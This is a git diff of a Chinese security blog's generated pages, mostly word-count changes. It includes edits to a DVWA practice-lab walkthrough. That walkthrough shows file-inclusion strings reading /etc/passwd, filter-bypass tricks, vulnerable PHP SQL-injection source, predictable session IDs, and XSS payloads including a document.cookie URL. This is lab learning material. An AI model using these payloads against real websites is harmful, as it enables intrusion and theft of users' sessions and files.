From 8eeaf683b84d6002824aa603867e9c24ef15479a Mon Sep 17 00:00:00 2001 From: Cool-Y <1072916769@qq.com> Date: Wed, 24 Jul 2019 14:01:50 +0800 Subject: [PATCH] Site updated: 2019-07-24 14:01:34 --- 2000/01/01/hello-world/index.html | 2 +- .../BIBA访问控制模型实现(python)/index.html | 2 +- 2018/12/15/miio-control/index.html | 2 +- 2018/12/23/基于规则引擎发现IOT设备/index.html | 2 +- 2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html | 2 +- .../wifi半双工侧信道攻击学习笔记/index.html | 2 +- 2019/02/22/qq数据库的加密解密/index.html | 2 +- 2019/03/16/小米固件工具mkxqimage/index.html | 2 +- 2019/03/23/auto-send-WX/index.html | 2 +- 2019/03/25/Samba-CVE/index.html | 2 +- 2019/03/28/逆向工程实验/index.html | 2 +- 2019/04/15/Caving-db-storage/index.html | 2 +- 2019/04/21/XIAOMI-UPnP/index.html | 2 +- 2019/05/13/PE-file/index.html | 2 +- 2019/05/14/pack-and-unpack/index.html | 2 +- 2019/07/01/AFL-first-learn/index.html | 2 +- 2019/07/09/afl-first-try/index.html | 2 +- 2019/07/10/x86basic/index.html | 2 +- 2019/07/16/linux-pwn-32/index.html | 2 +- 2019/07/24/web-dvwa/index.html | 58 +++++++------------ 2019/07/24/获取固件/index.html | 8 +-- about/index.html | 2 +- archives/2000/01/index.html | 2 +- archives/2000/index.html | 2 +- archives/2018/11/index.html | 2 +- archives/2018/12/index.html | 2 +- archives/2018/index.html | 2 +- archives/2019/01/index.html | 2 +- archives/2019/02/index.html | 2 +- archives/2019/03/index.html | 2 +- archives/2019/04/index.html | 2 +- archives/2019/05/index.html | 2 +- archives/2019/07/index.html | 2 +- archives/2019/index.html | 2 +- archives/2019/page/2/index.html | 2 +- archives/index.html | 2 +- archives/page/2/index.html | 2 +- archives/page/3/index.html | 2 +- bookmarks/index.html | 2 +- categories/IOT/index.html | 28 ++++++++- categories/Pwn二进制漏洞/index.html | 2 +- categories/index.html | 4 +- categories/web/index.html | 2 +- categories/二进制/index.html | 2 +- categories/加密解密/index.html | 2 +- categories/杂七杂八/index.html | 2 +- categories/理论学习/index.html | 2 +- categories/顶会论文/index.html | 2 +- index.html | 6 +- page/2/index.html | 2 +- page/3/index.html | 2 +- search.xml | 4 +- sitemap.xml | 4 +- tags/AFL/index.html | 2 +- tags/CVE/index.html | 2 +- tags/IoT/index.html | 2 +- tags/MiniUPnP/index.html | 2 +- tags/PE/index.html | 2 +- tags/QQ/index.html | 2 +- tags/SSH/index.html | 2 +- tags/Samba/index.html | 2 +- tags/TCPDUMP/index.html | 2 +- tags/USENIX/index.html | 2 +- tags/Windows/index.html | 2 +- tags/ctf/index.html | 2 +- tags/index.html | 2 +- tags/itchat/index.html | 2 +- tags/linux/index.html | 2 +- tags/miio/index.html | 2 +- tags/pwn/index.html | 2 +- tags/python/index.html | 2 +- tags/web/index.html | 2 +- tags/wifi/index.html | 2 +- tags/中间人/index.html | 2 +- tags/二进制/index.html | 2 +- tags/侧信道攻击/index.html | 2 +- tags/取证/index.html | 2 +- tags/复原文件/index.html | 2 +- tags/密码/index.html | 2 +- tags/小米/index.html | 2 +- tags/微信/index.html | 2 +- tags/拒绝服务攻击/index.html | 2 +- tags/数据库/index.html | 2 +- tags/数据挖掘/index.html | 2 +- tags/文件格式/index.html | 2 +- tags/栈溢出/index.html | 2 +- tags/模型实现/index.html | 2 +- tags/模糊测试/index.html | 2 +- tags/漏洞/index.html | 2 +- tags/破解/index.html | 2 +- tags/硬件层/index.html | 2 +- tags/自然语言处理/index.html | 2 +- tags/访问控制/index.html | 2 +- tags/路由器/index.html | 2 +- tags/远程执行/index.html | 2 +- tags/逆向/index.html | 2 +- tags/重放攻击/index.html | 2 +- 97 files changed, 152 insertions(+), 140 deletions(-) diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index d4f9726a..ed3f6985 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -641,7 +641,7 @@ - 64.5k + 64.4k diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html index 428575a7..20f6f45b 100644 --- a/2018/11/16/BIBA访问控制模型实现(python)/index.html +++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html @@ -829,7 +829,7 @@ - 64.5k + 64.4k diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html index 0e446f2d..39858114 100644 --- a/2018/12/15/miio-control/index.html +++ b/2018/12/15/miio-control/index.html @@ -731,7 +731,7 @@ - 64.5k + 64.4k diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html index 8691da0b..d7e69853 100644 --- a/2018/12/23/基于规则引擎发现IOT设备/index.html +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -731,7 +731,7 @@ - 64.5k + 64.4k diff --git a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html index 50bc1ec7..b31e872d 100644 --- a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html +++ b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html @@ -736,7 +736,7 @@ - 64.5k + 64.4k diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index dc086295..709fe8ce 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -859,7 +859,7 @@ Server -------wire----------| - 64.5k + 64.4k diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index 749c4eff..015ade3c 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -708,7 +708,7 @@ - 64.5k + 64.4k diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index f29cecfd..1984e2eb 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -715,7 +715,7 @@ - 64.5k + 64.4k diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html index c2975609..45187f35 100644 --- a/2019/03/23/auto-send-WX/index.html +++ b/2019/03/23/auto-send-WX/index.html @@ -725,7 +725,7 @@ - 64.5k + 64.4k diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html index fbf5af73..1c22f8d3 100644 --- a/2019/03/25/Samba-CVE/index.html +++ b/2019/03/25/Samba-CVE/index.html @@ -750,7 +750,7 @@ - 64.5k + 64.4k diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html index 7ad4b893..68203cc7 100644 --- a/2019/03/28/逆向工程实验/index.html +++ b/2019/03/28/逆向工程实验/index.html @@ -853,7 +853,7 @@ - 64.5k + 64.4k diff --git a/2019/04/15/Caving-db-storage/index.html b/2019/04/15/Caving-db-storage/index.html index be504c2f..d27bae10 100644 --- a/2019/04/15/Caving-db-storage/index.html +++ b/2019/04/15/Caving-db-storage/index.html @@ -774,7 +774,7 @@ - 64.5k + 64.4k diff --git a/2019/04/21/XIAOMI-UPnP/index.html b/2019/04/21/XIAOMI-UPnP/index.html index ede2b12b..01bda33a 100644 --- a/2019/04/21/XIAOMI-UPnP/index.html +++ b/2019/04/21/XIAOMI-UPnP/index.html @@ -898,7 +898,7 @@ - 64.5k + 64.4k diff --git a/2019/05/13/PE-file/index.html b/2019/05/13/PE-file/index.html index d37a041c..f6c40986 100644 --- a/2019/05/13/PE-file/index.html +++ b/2019/05/13/PE-file/index.html @@ -817,7 +817,7 @@ - 64.5k + 64.4k diff --git a/2019/05/14/pack-and-unpack/index.html b/2019/05/14/pack-and-unpack/index.html index cce645d8..6c1e10f9 100644 --- a/2019/05/14/pack-and-unpack/index.html +++ b/2019/05/14/pack-and-unpack/index.html @@ -739,7 +739,7 @@ - 64.5k + 64.4k diff --git a/2019/07/01/AFL-first-learn/index.html b/2019/07/01/AFL-first-learn/index.html index d835d875..db492a9c 100644 --- a/2019/07/01/AFL-first-learn/index.html +++ b/2019/07/01/AFL-first-learn/index.html @@ -1012,7 +1012,7 @@ - 64.5k + 64.4k diff --git a/2019/07/09/afl-first-try/index.html b/2019/07/09/afl-first-try/index.html index 465d2fb7..7cb1de53 100644 --- a/2019/07/09/afl-first-try/index.html +++ b/2019/07/09/afl-first-try/index.html @@ -802,7 +802,7 @@ - 64.5k + 64.4k diff --git a/2019/07/10/x86basic/index.html b/2019/07/10/x86basic/index.html index dc40a90d..c6fe2a2a 100644 --- a/2019/07/10/x86basic/index.html +++ b/2019/07/10/x86basic/index.html @@ -834,7 +834,7 @@ - 64.5k + 64.4k diff --git a/2019/07/16/linux-pwn-32/index.html b/2019/07/16/linux-pwn-32/index.html index a9ed035c..fda9dac3 100644 --- a/2019/07/16/linux-pwn-32/index.html +++ b/2019/07/16/linux-pwn-32/index.html @@ -817,7 +817,7 @@ - 64.5k + 64.4k diff --git a/2019/07/24/web-dvwa/index.html b/2019/07/24/web-dvwa/index.html index e750fe40..b3f41876 100644 --- a/2019/07/24/web-dvwa/index.html +++ b/2019/07/24/web-dvwa/index.html @@ -87,7 +87,7 @@ - + @@ -481,18 +481,14 @@

medium模式

检查 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,)

1
2
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

想要通过验证,就必须保证在http请求中Referer字段中必须包含Host
我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上)

文件包含

easy模式

某些Web应用程序允许用户指定直接用于文件流的输入,或允许用户将文件上载到服务器。稍后,Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做,Web应用程序允许潜在的恶意文件执行。
如果选择要包含的文件在目标计算机上是本地的,则称为“本地文件包含(LFI)。但是文件也可以包含在其他计算机上,然后攻击是”远程文件包含(RFI)。
当RFI不是一种选择时。使用LFI的另一个漏洞(例如文件上传和目录遍历)通常可以达到同样的效果。
注意,术语“文件包含”与“任意文件访问”或“文件公开”不同。
只使用文件包含来阅读’../hackable/flags/fi.php’中的所有五个着名引号。

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

-

文件包含漏洞的一般特征如下:

-

?page=a.php

-

?home=a.html

-

?file=content

-

几种经典的测试方法:

-

?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
=http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)

+

文件包含漏洞的一般特征如下:

1
2
3
4
5
?page=a.php

?home=a.html

?file=content

+

几种经典的测试方法:

1
2
3
4
5
6
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
=http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)

medium模式

增加对绝对路径http和相对路径的检查

1
2
3
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

但依然可以使用?page=file:///etc/passwd
以及重复字符过滤方法,构造url

    -
  1. 构造url为httphttp:// –> http
  2. -
  3. 构造url为httphttp://:// –>http://
  4. -
  5. 构造url为…/./ –> ../
  6. +
  7. 构造url为 httphttp:// –> http
  8. +
  9. 构造url为 httphttp://:// –>http://
  10. +
  11. 构造url为 …/./ –> ../

文件上传

easy模式

上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。
不受限制的文件上载的后果可能会有所不同,包括完整的系统接管,过载的文件系统,向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用,包括存储位置。
由于此文件上载漏洞,请在目标系统上执行您选择的任何PHP函数(例如phpinfo()或system())。

@@ -513,11 +509,11 @@

SQL盲注

盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

查看源码发现还是没有对id做过滤,但是它不会返回错误信息,只会告诉你User ID exists in the database.以及User ID is MISSING from the database.

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
如果手工盲注的话,需要对sql语法相当熟悉。类似:
https://www.freebuf.com/articles/web/120985.html
如果自动盲注的话,可以使用sqlmap来完成,类似:
https://www.jianshu.com/p/ec2ca79e74b2

弱session-id

easy模式

session-ID通常是在登录后作为特定用户访问站点所需的唯一内容,如果能够计算或轻易猜到该会话ID,则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞,如跨站点脚本。

-

根据源码可以看出来session每次加1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

+

根据源码可以看出来session每次加1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

按f12看application-cookies也能发现这个规律。
然后使用hackbar这个扩展程序攻击。

medium模式

从源码中可以看到dvwaSession就是时间戳

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

基于DOM的XSS

easy模式

@@ -537,38 +533,28 @@

绕过有两种方式

  1. 方式1
    url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤
    http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>
  2. -
  3. 方法2
    或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss)
    `http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E'
  4. +
  5. 方法2
    或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

    # 反射型xss
    ## easy模式
    > 反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。

    查看源码,服务器直接把客户端的输入返回回来显示
    ```php
    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }

    ?>
    +
-

反射型xss

easy模式

-

反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。

-
-

查看源码,服务器直接把客户端的输入返回回来显示

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E

medium模式

源码里检查了script标签

1
2
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

-

str_replace这个函数是不区分大小写的,而且只替换一次
改成大写就可以了
或者嵌套<scr

-

但对name审查没有这么严格,同样可以采用嵌套或大小写的方法:

-

<scr

-

-

存储型xss

easy模式

+

str_replace这个函数是不区分大小写的,而且只替换一次
改成大写就可以了<SCRIPT>alert('xss')</script>
或者嵌套<scr<script>ipt>alert('xss')</script>

+

但对name审查没有这么严格,同样可以采用嵌套或大小写的方法:

1
2
<scr<script>ipt>alert('fuck')</script>
<SCRIPT>alert('fuck')</script>

+

存储型xss

easy模式

“跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍,并且发生在使用输出中的用户输入的Web应用程序的任何地方,而不验证或编码它。

攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任,并将执行JavaScript。因为它认为脚本来自可靠来源,所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie,会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

XSS存储在数据库中。 XSS是永久性的,直到重置数据库或手动删除有效负载。

-

查看源码
trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠,两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符,像x00,n,r,,’,”,x1a等,来预防数据库攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

+

查看源码
trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠,两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符,像x00,n,r,,’,”,x1a等,来预防数据库攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

插入之后会成为页面的元素显示出来
<div id="guestbook_comments">Name: 11<br />Message: 111<br /></div>
看一下提交的方式:
txtName=22&mtxMessage=222&btnSign=Sign+Guestbook
直接插入script语句,txtName=22<script>alert(1)</script>&mtxMessage=222&btnSign=Sign+Guestbook

-

medium模式

源码中增加了几个函数的使用:

-
    -
  • $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。
  • -
  • $message = htmlspecialchars( $message ); 把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
  • -
  • $name = str_replace( ‘
+ @@ -812,7 +798,7 @@ -
+
@@ -844,7 +830,7 @@ - 64.5k + 64.4k diff --git a/2019/07/24/获取固件/index.html b/2019/07/24/获取固件/index.html index 0e84c484..b9a0b080 100644 --- a/2019/07/24/获取固件/index.html +++ b/2019/07/24/获取固件/index.html @@ -88,7 +88,7 @@ - + @@ -359,8 +359,8 @@ - @@ -709,7 +709,7 @@ - 64.5k + 64.4k diff --git a/about/index.html b/about/index.html index 6df4d466..05f91dca 100644 --- a/about/index.html +++ b/about/index.html @@ -460,7 +460,7 @@ - 64.5k + 64.4k diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html index 2b936e34..0b65d1c9 100644 --- a/archives/2000/01/index.html +++ b/archives/2000/01/index.html @@ -493,7 +493,7 @@ - 64.5k + 64.4k diff --git a/archives/2000/index.html b/archives/2000/index.html index 7518b11c..ee53952b 100644 --- a/archives/2000/index.html +++ b/archives/2000/index.html @@ -493,7 +493,7 @@ - 64.5k + 64.4k diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html index a848c432..3da6ea9b 100644 --- a/archives/2018/11/index.html +++ b/archives/2018/11/index.html @@ -493,7 +493,7 @@ - 64.5k + 64.4k diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html index 32c3152b..8c1e999c 100644 --- a/archives/2018/12/index.html +++ b/archives/2018/12/index.html @@ -563,7 +563,7 @@ - 64.5k + 64.4k diff --git a/archives/2018/index.html b/archives/2018/index.html index 8a05c9ba..1917e117 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -598,7 +598,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html index 5a31d7f7..41df3db9 100644 --- a/archives/2019/01/index.html +++ b/archives/2019/01/index.html @@ -493,7 +493,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html index bd432f3c..33e540a3 100644 --- a/archives/2019/02/index.html +++ b/archives/2019/02/index.html @@ -493,7 +493,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html index c610ed7a..0d1ead74 100644 --- a/archives/2019/03/index.html +++ b/archives/2019/03/index.html @@ -598,7 +598,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html index 69173757..41c408da 100644 --- a/archives/2019/04/index.html +++ b/archives/2019/04/index.html @@ -528,7 +528,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/05/index.html b/archives/2019/05/index.html index 45ffc335..005a5918 100644 --- a/archives/2019/05/index.html +++ b/archives/2019/05/index.html @@ -528,7 +528,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/07/index.html b/archives/2019/07/index.html index ce94a716..f175a53b 100644 --- a/archives/2019/07/index.html +++ b/archives/2019/07/index.html @@ -668,7 +668,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/index.html b/archives/2019/index.html index 7cbcac67..5adc4cf4 100644 --- a/archives/2019/index.html +++ b/archives/2019/index.html @@ -812,7 +812,7 @@ - 64.5k + 64.4k diff --git a/archives/2019/page/2/index.html b/archives/2019/page/2/index.html index b4623ea4..c1a67a4f 100644 --- a/archives/2019/page/2/index.html +++ b/archives/2019/page/2/index.html @@ -672,7 +672,7 @@ - 64.5k + 64.4k diff --git a/archives/index.html b/archives/index.html index 0956f70f..b6fa8613 100644 --- a/archives/index.html +++ b/archives/index.html @@ -812,7 +812,7 @@ - 64.5k + 64.4k diff --git a/archives/page/2/index.html b/archives/page/2/index.html index 83f1aa0b..879c2195 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -817,7 +817,7 @@ - 64.5k + 64.4k diff --git a/archives/page/3/index.html b/archives/page/3/index.html index c524714f..4971d009 100644 --- a/archives/page/3/index.html +++ b/archives/page/3/index.html @@ -497,7 +497,7 @@ - 64.5k + 64.4k diff --git a/bookmarks/index.html b/bookmarks/index.html index 343285ed..8d6ff419 100644 --- a/bookmarks/index.html +++ b/bookmarks/index.html @@ -512,7 +512,7 @@ - 64.5k + 64.4k diff --git a/categories/IOT/index.html b/categories/IOT/index.html index de3d2d77..111cbba6 100644 --- a/categories/IOT/index.html +++ b/categories/IOT/index.html @@ -303,6 +303,32 @@ + + + + + +
@@ -552,7 +578,7 @@ - 64.5k + 64.4k diff --git a/categories/Pwn二进制漏洞/index.html b/categories/Pwn二进制漏洞/index.html index 73097bd4..b207dde3 100644 --- a/categories/Pwn二进制漏洞/index.html +++ b/categories/Pwn二进制漏洞/index.html @@ -500,7 +500,7 @@ - 64.5k + 64.4k diff --git a/categories/index.html b/categories/index.html index caaa80e7..24307690 100644 --- a/categories/index.html +++ b/categories/index.html @@ -314,7 +314,7 @@ 目前共计 9 个分类 @@ -465,7 +465,7 @@ - 64.5k + 64.4k diff --git a/categories/web/index.html b/categories/web/index.html index 2ee16ffd..701afe92 100644 --- a/categories/web/index.html +++ b/categories/web/index.html @@ -474,7 +474,7 @@ - 64.5k + 64.4k diff --git a/categories/二进制/index.html b/categories/二进制/index.html index f5739541..0945c7f6 100644 --- a/categories/二进制/index.html +++ b/categories/二进制/index.html @@ -578,7 +578,7 @@ - 64.5k + 64.4k diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html index 24b39d57..457dd741 100644 --- a/categories/加密解密/index.html +++ b/categories/加密解密/index.html @@ -474,7 +474,7 @@ - 64.5k + 64.4k diff --git a/categories/杂七杂八/index.html b/categories/杂七杂八/index.html index 3299f7cb..2898f808 100644 --- a/categories/杂七杂八/index.html +++ b/categories/杂七杂八/index.html @@ -474,7 +474,7 @@ - 64.5k + 64.4k diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html index 438780c5..298c3fa9 100644 --- a/categories/理论学习/index.html +++ b/categories/理论学习/index.html @@ -474,7 +474,7 @@ - 64.5k + 64.4k diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html index e3da168b..5cbc48c7 100644 --- a/categories/顶会论文/index.html +++ b/categories/顶会论文/index.html @@ -526,7 +526,7 @@ - 64.5k + 64.4k diff --git a/index.html b/index.html index 89aec5d4..c21603d1 100644 --- a/index.html +++ b/index.html @@ -358,8 +358,8 @@ - @@ -2297,7 +2297,7 @@ MotivationDBMS(数据库管理系统) - 64.5k + 64.4k diff --git a/page/2/index.html b/page/2/index.html index 787f2902..1c4a779a 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -2351,7 +2351,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q - 64.5k + 64.4k diff --git a/page/3/index.html b/page/3/index.html index 6db08008..3332660c 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -601,7 +601,7 @@ - 64.5k + 64.4k diff --git a/search.xml b/search.xml index 619a5934..ba6683da 100644 --- a/search.xml +++ b/search.xml @@ -5,7 +5,7 